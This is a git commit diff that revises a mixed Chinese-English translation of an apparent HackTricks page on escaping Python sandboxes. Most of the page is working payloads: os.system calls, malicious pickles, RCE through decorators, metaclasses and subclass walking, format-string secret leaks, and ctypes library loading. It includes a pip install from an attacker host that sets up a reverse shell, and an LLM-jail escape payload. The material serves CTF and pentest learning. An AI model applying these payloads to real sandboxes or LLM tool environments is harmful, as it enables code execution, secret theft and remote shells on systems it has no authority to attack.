Translated ['', 'src/generic-methodologies-and-resources/python/bypass-p

This commit is contained in:
Translator 2025-08-28 12:38:13 +00:00
parent 299f265699
commit bc5498a834
6 changed files with 454 additions and 459 deletions

View File

@ -1,12 +1,12 @@
# Bypass Python sandboxes
# 绕过 Python 沙箱
{{#include ../../../banners/hacktricks-training.md}}
下面是一些技巧,用于 bypass python sandbox protections 并 execute arbitrary commands
这些是一些绕过 python 沙箱防护并执行任意命令的技巧
## 命令执行库
首先你需要知道的是,是否可以直接使用某个已导入的库来执行 code或者是否可以导入下列任意库:
首先需要知道的是,您是否可以使用某些已导入的库直接执行代码,或者是否可以导入以下任一库:
```python
os.system("ls")
os.popen("ls").read()
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
记住 _**open**__**read**_ 函数在 python sandbox 内可以用来 **读取文件**,以及 **写入一些代码**,你可以 **执行****bypass** 该 sandbox。
Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
> [!CAUTION] > **Python2 input()** 函数允许在程序崩溃之前执行 python 代码。
Python 会尝试 **先从当前目录加载库**(下面的命令将打印 python 从哪里加载模块): `python3 -c 'import sys; print(sys.path)'`
Python 会尝试 **先从当前目录加载库**(下面的命令将打印 python 从哪里加载模块): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## Bypass pickle sandbox 使用系统默认安装的 python 包
## Bypass pickle sandbox with the default installed python packages
### 默认包
你可以在这里找到 **预安装** 包的列表: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
注意,通过 pickle 你可以让 python 环境 **导入系统中已安装的任意库**。\
例如,下面的 pickle 在被加载时会导入 pip 库并使用它:
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
注意:从 pickle 中你可以让 python env **import arbitrary libraries**(系统中已安装的库)。\
For example, the following pickle, when loaded, is going to import the pip library to use it:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -66,32 +66,32 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
关于 pickle 工作原理的更多信息,请参阅 [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
有关 pickle 工作原理的更多信息,请参见 [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pip package
技巧由 **@isHaacK** 分享
如果你可以访问 `pip``pip.main()`,你可以安装任意包并通过调用以下内容获得反向 shell
如果你可以访问 `pip``pip.main()`,你可以安装任意软件包并通过调用以下命令获取一个 reverse shell
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
你可以在此下载用于创建 reverse shell 的包。请注意,在使用它之前你应当 **解压该文件,修改 `setup.py`,并填写用于 reverse shell 的 IP**
你可以在此下载用于创建 reverse shell 的包。请注意,在使用前你应该 **解压它,修改 `setup.py`,并将你的 IP 填入用于 reverse shell**
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> 该包名为 `Reverse`。不过它被特别设计为:当你退出 reverse shell 时,其余安装过程会失败,因此当你离开时你**不会在服务器上留下任何额外的 python 包**。
> 这个包名为 `Reverse`。不过,它是特别制作的,当你退出 reverse shell 时其余的安装会失败,因此你在离开时**不会在服务器上留下额外的 python package**。
## 使用 `eval` 执行 python 代码
## 使用 eval 执行 python 代码
> [!WARNING]
> 注意 `exec` 允许多行字符串和 ";",但 `eval` 不允许(查 walrus operator
> 注意 exec 允许多行字符串和 ";",但 eval 不允许(查 walrus operator
如果某些字符被禁止,你可以使用 **hex/octal/B64** 表示**bypass**限制:
如果某些字符被禁止,你可以使用 **hex/octal/B64** 表示法来 **绕过** 限制:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -126,15 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
另见 PDF 生成器中真实世界的沙箱化评估器逃逸
另见 PDF 生成器中的真实场景 sandboxed evaluator escape
- ReportLab/xhtml2pdf triple-bracket [[[...]]] 表达式求值 → RCE (CVE-2023-33733)。它滥用 rl_safe_eval 从被求值的属性(例如字体颜色)到达 function.__globals__ 和 os.system并返回一个有效值以保持渲染稳定。
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). 它利用 rl_safe_eval 从被求值的属性(例如字体颜色)访问 function.__globals__ 和 os.system并返回一个有效值以保持渲染稳定。
{{#ref}}
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
## 操作符和小技巧
## 运算符与小技巧
```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
@ -145,7 +145,7 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
```
## 通过编码绕过防护 (UTF-7)
在 [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) 中UFT-7 被用来在一个看似的 sandbox 内加载并执行任意 python 代码:
在 [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) 中UFT-7 被用来在一个表面上的 sandbox 内加载并执行任意 python 代码:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -158,11 +158,11 @@ return x
```
也可以使用其他编码绕过它,例如 `raw_unicode_escape``unicode_escape`
## Python 在无法进行调用时的执行
## 在不允许进行调用的 Python 环境中执行
如果你处在一个 python jail 中,**不允许你发起调用**,仍然有一些方法可以**执行任意函数、代码**和**命令**
如果你处在一个 python jail(沙箱)中,且 **不允许你进行调用**,仍有一些方法可以 **执行任意函数、代码****命令**
### RCE 利用 [decorators](https://docs.python.org/3/glossary.html#term-decorator)
### 使用 [decorators](https://docs.python.org/3/glossary.html#term-decorator) 的 RCE
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -184,13 +184,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE creating objects and overloading
### RCE 创建对象与重载
如果你能够 **声明一个类****创建该类的对象**,你就可以 **编写/覆盖不同的方法**,这些方法可以**被触发****无需直接调用**。
如果你可以 **声明一个类****创建该类的一个对象**,你就可以 **编写/覆盖不同的方法**,这些方法可以**触发****无需** **直接调用它们**。
#### RCE with custom classes
#### RCE 使用自定义类
你可以修改一些 **类方法**_通过覆盖已有的类方法或创建一个新类_使它们在 **被触发** 时 **执行任意代码**,而无需直接调用。
你可以修改一些 **类方法** (_通过重写现有的类方法或创建一个新类_),使它们在被 **触发** 时 **执行任意代码**,而无需直接调用它们
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -240,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
#### 通过 [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) 创建对象
#### 使用 [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) 创建对象
metaclasses 允许我们做的关键事情是:通过创建一个以目标类为 metaclass 的新类,**在不直接调用构造函数的情况下创建一个类的实例**。
metaclasses 允许我们做的关键事情是,通过创建一个以目标类为元类的新类,**在不直接调用构造函数的情况下创建一个类的实例**。
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -259,7 +259,7 @@ Sub['import os; os.system("sh")']
```
#### 使用异常创建对象
**exception 被触发** 时,会创建一个 **Exception** 对象,无需你直接调用 constructor(来自 [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) 的技巧):
一个 **exception is triggered** 时,会 **created** 一个类型为 **Exception** 的对象,无需你直接调用构造函数(来自 [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) 的技巧):
```python
class RCE(Exception):
def __init__(self):
@ -301,7 +301,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### 使用 builtins 的 help 和 license 读取文件
### 读取包含 builtins 帮助与许可证的文件
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -315,17 +315,17 @@ pass
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
如果你能够访问 **`__builtins__`** 对象,你可以导入库(注意,这里你也可以使用在上一节中所示的其他字符串表示
如果你能够访问 **`__builtins__`** 对象,你就可以导入库(注意这里你也可以使用最后一节中所示的其他字符串表示法
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### 无内置函数
### No Builtins
没有 `__builtins__` 时,你将无法导入任何模块,也无法读取或写入文件,因为**所有全局函数**(比如 `open``import``print`...**没有被加载**。\
然而,**默认情况下 python 会在内存中导入许多模块**。这些模块看起来可能无害,但其中有些**也导入了危险的**功能,可以被访问以获得**任意代码执行**。
当没有 `__builtins__` 时,你将无法导入任何模块,甚至不能读取或写入文件,因为 **所有全局函数**(比如 `open``import``print`...**都未被加载**。\
不过,**默认情况下 python 会在内存中导入许多模块**。这些模块看起来可能是无害的,但其中一些模块内部也**导入了危险**的功能,这些功能可以被访问以获得甚至**任意代码执行**。
在下面的示例中你可以看到如何**滥用**这些已加载的“**看似无害**”模块中的一些,以**访问** **危险** **功能**
在下面的示例中你可以看到如何**滥用**这些已加载的“**无害**”模块,以**访问**其中的**危险**功能
**Python2**
```python
@ -367,9 +367,9 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 用来在数十/**数百**个**位置**中查找**builtins**
[**下面有一个更大的函数**](#recursive-search-of-builtins-globals) 以查找数十/**数百**个可以找到 **builtins****位置**
#### Python2 and Python3
#### Python2 Python3
```python
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
@ -383,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## 全局变量和局部变量
## 全局和局部
检查 **`globals`** 和 **`locals`** 是了解你可以访问什么的好方法。
检查 **`globals`** 和 **`locals`** 是了解你可以访问哪些内容的好方法。
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -409,15 +409,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 以查找数十/**数百**个**位置**,您可以在这些位置找到**globals**。
## 发现任意执行
在这里我想解释如何轻松发现**已加载的更危险的功能**并提出更可靠的利用方法。
在这里我想解释如何更容易地发现已加载的**更危险的功能**并提出更可靠的利用方法。
#### 使用绕过方法访问子类
该技术最敏感的部分之一是能够**访问基类的子类**。在前面的示例中,这通过 `''.__class__.__base__.__subclasses__()` 来实现,但还有**其他可能的方法**
该技术最敏感的部分之一是能够**访问基类的子类**。在前面的示例中,这通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有**其他可能的方法**
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -452,11 +452,11 @@ defined_func.__class__.__base__.__subclasses__()
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
有很多,且**我们只需要一个**来执行命令:
有很多,但**我们只需要一个**来执行命令:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
我们可以**其他库** 做同样的事情,这些库我们知道可以用来 **执行命令**
我们可以对**其他库**(我们知道可用于**执行命令**)做同样的事情
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -491,7 +491,7 @@ defined_func.__class__.__base__.__subclasses__()
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
此外,我们甚至可以搜索哪些模块正在加载恶意库:
此外,我们可以搜索哪些模块正在加载恶意库:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -510,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
此外,如果你认为 **其他库** 可能 **调用函数来执行命令**,我们也可以在可能的库中 **按函数名称进行过滤**
此外,如果你认为 **其他库** 可能能够 **调用函数来执行命令**,我们也可以在可能的库中 **按函数名称过滤**
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -546,7 +546,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
## 递归搜索 Builtins, Globals...
> [!WARNING]
> 这真是**太棒了**。如果你正在**寻找类似 globals、builtins、open 的对象或其他任何对象**,只需使用这个脚本来**递归查找可以找到该对象的位置。**
> 这真是**太棒了**。如果你正在**寻找像 globals, builtins, open 或任何其他对象**,只需使用此脚本来**递归地查找可以找到该对象的位置。**
```python
import os, sys # Import these to find more gadgets
@ -662,8 +662,7 @@ print(SEARCH_FOR)
if __name__ == "__main__":
main()
```
你可以在此页面查看此脚本的输出:
你可以在此页面查看该脚本的输出:
{{#ref}}
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
@ -671,7 +670,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
## Python Format String
如果你向 python **send** 一个将要被 **formatted****string**,你可以使用 `{}` 来访问 **python internal information.** 例如,你可以使用之前的示例来访问 globals 或 builtins。
如果你 **发送** 一个 **字符串** 给 python且该字符串将被 **格式化**,你可以使用 `{}` 来访问 **python 内部信息**。例如,你可以使用之前的例子来访问 globals 或 builtins。
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -691,11 +690,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
注意你可以像 `people_obj.__init__` 那样用**点**正常访问**属性**,也可以用不带引号的**中括号**访问**字典元素** `__globals__[CONFIG]`
注意你可以像 `people_obj.__init__` 那样使用 **点** 以正常方式访问属性,以及使用不带引号的 **中括号** 访问 dict 元素,例如 `__globals__[CONFIG]`
另外注意你可以使用 `.__dict__` 来枚举对象的元素,例如 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
另外注意你可以使用 `.__dict__` 来枚举对象的元素,例如 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
格式化字符串的另一个有趣特性是可以通过在目标对象后加上 **`!s`**、**`!r`**、**`!a`** 来**执行** **`str`**、**`repr`** 和 **`ascii`** 这几个函数,分别对应
格式化字符串的另一个有趣特性是可以通过在目标对象后添加 **`!s`**, **`!r`**, **`!a`** 来分别执行 **`str`**, **`repr`** 和 **`ascii`** 函数
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
@ -711,16 +710,17 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**更多示例** 关于 **format** **string** 示例可在 [**https://pyformat.info/**](https://pyformat.info) 找到
**更多示例**:关于 **format** **string** 的示例可以在 [**https://pyformat.info/**](https://pyformat.info) 找到
> [!CAUTION]
> 另请查看以下页面,了解会 r**ead sensitive information from Python internal objects**
> 还请查看以下页面,了解会 r**ead sensitive information from Python internal objects** 的 gadgets
{{#ref}}
../python-internal-read-gadgets.md
{{#endref}}
### 敏感信息露 Payloads
### 敏感信息露 Payloads
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -738,20 +738,20 @@ str(x) # Out: clueless
```
### LLM Jails bypass
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
来自 [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### 从 format 到 RCE加载库
### From format to RCE loading libraries
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
作为提醒,在 python 中每当执行某个操作时,都会触发相应的函数。例如 `2*3` 会执行 **`(2).mul(3)`**,而 **`{'a':'b'}['a']`** 会执行 **`{'a':'b'}.__getitem__('a')`**。
作为提醒,每次在 python 中执行一个操作时,都会调用某个函数。例如 `2*3` 会执行 **`(2).mul(3)`**,或者 **`{'a':'b'}['a']`** 会执行 **`{'a':'b'}.__getitem__('a')`**。
You have more like this in the section [**Python execution without calls**](#python-execution-without-calls).
在章节 [**Python execution without calls**](#python-execution-without-calls) 中有更多类似的内容。
python 的 format string 漏洞不允许直接执行函数(不允许使用圆括号),因此不能像 `'{0.system("/bin/sh")}'.format(os)` 那样直接获得 RCE。\
但是,可以使用 `[]`。因此,如果某个常见的 python 库具有会执行任意代码的 **`__getitem__`** 或 **`__getattr__`** 方法,就可以滥用它们来获取 RCE。
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
但是,可以使用 `[]`。因此,如果某个常见的 python 库具有会执行任意代码的 **`__getitem__`** 或 **`__getattr__`** 方法,就可以滥用它们以获得 RCE。
Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
在 python 中寻找这种 gadget 时writeup 给出了这个 [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)。他在那里发现了这个 [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463)
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -773,18 +773,18 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
该 gadget 允许 **从磁盘加载库**。因此,需要以某种方式**将要加载的库正确编译后写入或上传**到被攻击的服务器上
此 gadget 允许**从磁盘加载库**。因此,需要以某种方式**将要加载的库写入或上传**到被攻击的服务器,并确保其为该服务器正确编译
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
该挑战实际上利用了服务器中的另一个漏洞,该漏洞允许在服务器的磁盘上创建任意文件。
该挑战实际上利用了服务器上的另一个漏洞,该漏洞允许在服务器磁盘上创建任意文件。
## 解析 Python 对象
> [!TIP]
> 如果你想深入**学习** **python bytecode**,请阅读这篇**精彩**的文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> 如果你想**学习**关于**python bytecode**的深入内容,请阅读这篇**awesome**文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
某些 CTFs 中,你可能会被提供一个**自定义函数flag 所在处)**的名称,你需要查看该**函数**的**内部**来提取它。
一些 CTFs 中,你可能会被提供一个**custom function where the flag**的名称,你需要查看该**function**的**internals**以提取它。
这是要检查的函数:
```python
@ -804,9 +804,9 @@ dir() #General dir() to find what we have loaded
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
```
#### globals
#### 全局
`__globals__` and `func_globals`(相同)用于获取全局环境。在示例中你可以看到一些已导入的模块、一些全局变量及其声明的内容
`__globals__` and `func_globals`(相同) 获取全局环境。在示例中,你可以看到一些已导入的模块、一些全局变量及其内容声明:
```python
get_flag.func_globals
get_flag.__globals__
@ -819,7 +819,7 @@ CustomClassObject.__class__.__init__.__globals__
### **访问函数代码**
**`__code__`** and `func_code`: 您可以 **访问** 函数的这个 **属性** **获取函数的代码对象**
**`__code__`** `func_code`: 你可以 **访问** 函数的这个 **属性** **获取函数的代码对象**
```python
# In our current example
get_flag.__code__
@ -879,7 +879,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
### **反汇编函数**
### **反汇编一个 function**
```python
import dis
dis.dis(get_flag)
@ -907,7 +907,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
注意,**if you cannot import `dis` in the python sandbox**,你可以获得该函数的 **bytecode** (`get_flag.func_code.co_code`) 并在本地**disassemble**它。你不会看到被加载变量的内容(`LOAD_CONST`),但你可以从 (`get_flag.func_code.co_consts`) 猜出它们,因为 `LOAD_CONST` 也会告诉被加载变量的偏移。
注意,**如果你无法在 python sandbox 中导入 `dis`**,你可以获取函数的**bytecode**`get_flag.func_code.co_code`)并在本地对其**disassemble**。你无法看到被加载变量的内容(`LOAD_CONST`),但你可以从(`get_flag.func_code.co_consts`)推测它们,因为 `LOAD_CONST` 也会告诉被加载变量的偏移。
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -931,8 +931,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
```
## 编译 Python
现在,假设你以某种方式可以 **dump 一个你无法执行的函数的信息**,但你**需要**去**执行**它。\
就像下面的示例,你**可以访问该函数的 code object**,但仅通过查看 disassemble 你**不知道如何计算 flag**_想象一个更复杂的 `calc_flag` function_
现在,假设以某种方式你可以 **dump the information about a function that you cannot execute**,但你**需要**去**执行**它。\
就像下面的示例,你**can access the code object**该函数,但仅通过查看反汇编你**不知道如何计算 flag**_想象一个更复杂的 `calc_flag` 函数_
```python
def get_flag(some_input):
var1=1
@ -947,7 +947,7 @@ return "Nope"
```
### 创建 code object
首先,我们需要知道 **how to create and execute a code object**这样我们就可以创建一个来执行我们泄露的 function leaked:
首先,我们需要知道 **how to create and execute a code object**以便我们可以创建一个来执行我们 leaked 的 function
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -967,7 +967,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> 根据你运行的 python 版本,`code_type`**参数** 可能有 **不同的顺序**。确定你所运行的 python 版本中参数顺序的最佳方法是运行:
> 根据你运行的 python 版本,`code_type`**parameters** 可能有 **不同的顺序**。要确定你运行的 python 版本中参数的顺序,最好的方法是运行:
>
> ```
> import types
@ -975,10 +975,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
> ```
### 重新创建一个 leaked 函数
### 重新创建 leaked 函数
> [!WARNING]
> 在下面的示例中,我们将直接从函数的 code 对象获取重新创建该函数所需的所有数据。在一个 **真实的示例** 中,执行函数 **`code_type`** 所需的所有 **values** 就是你将需要 leak 的内容
